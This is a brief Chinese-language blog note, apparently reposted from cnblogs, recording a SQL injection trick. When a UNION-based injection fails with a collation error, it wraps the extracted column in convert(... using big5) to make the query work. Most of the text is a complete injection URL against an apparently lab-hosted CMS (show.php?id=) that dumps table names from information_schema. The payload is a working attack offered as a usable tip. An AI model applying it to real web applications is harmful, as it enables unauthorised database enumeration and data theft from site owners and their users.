sql注入在联合查询是出现一下错误查不到数据
Illegal mix of collations for operation ‘UNION‘
用convert() 转换编码为utf8 或者big5 就可以了
http://10.1.2.5:52843/wcms/show.php?id=-33 union all SELECT 1,2,3,4,5,6,7,8,9,10,convert(group_concat(table_name) using big5),12,13,14,15 from information_schema.tables where table_schema=‘cms‘
sql注入记录------类型转换错误---convert()函数
原文：https://www.cnblogs.com/hackxf/p/8921046.html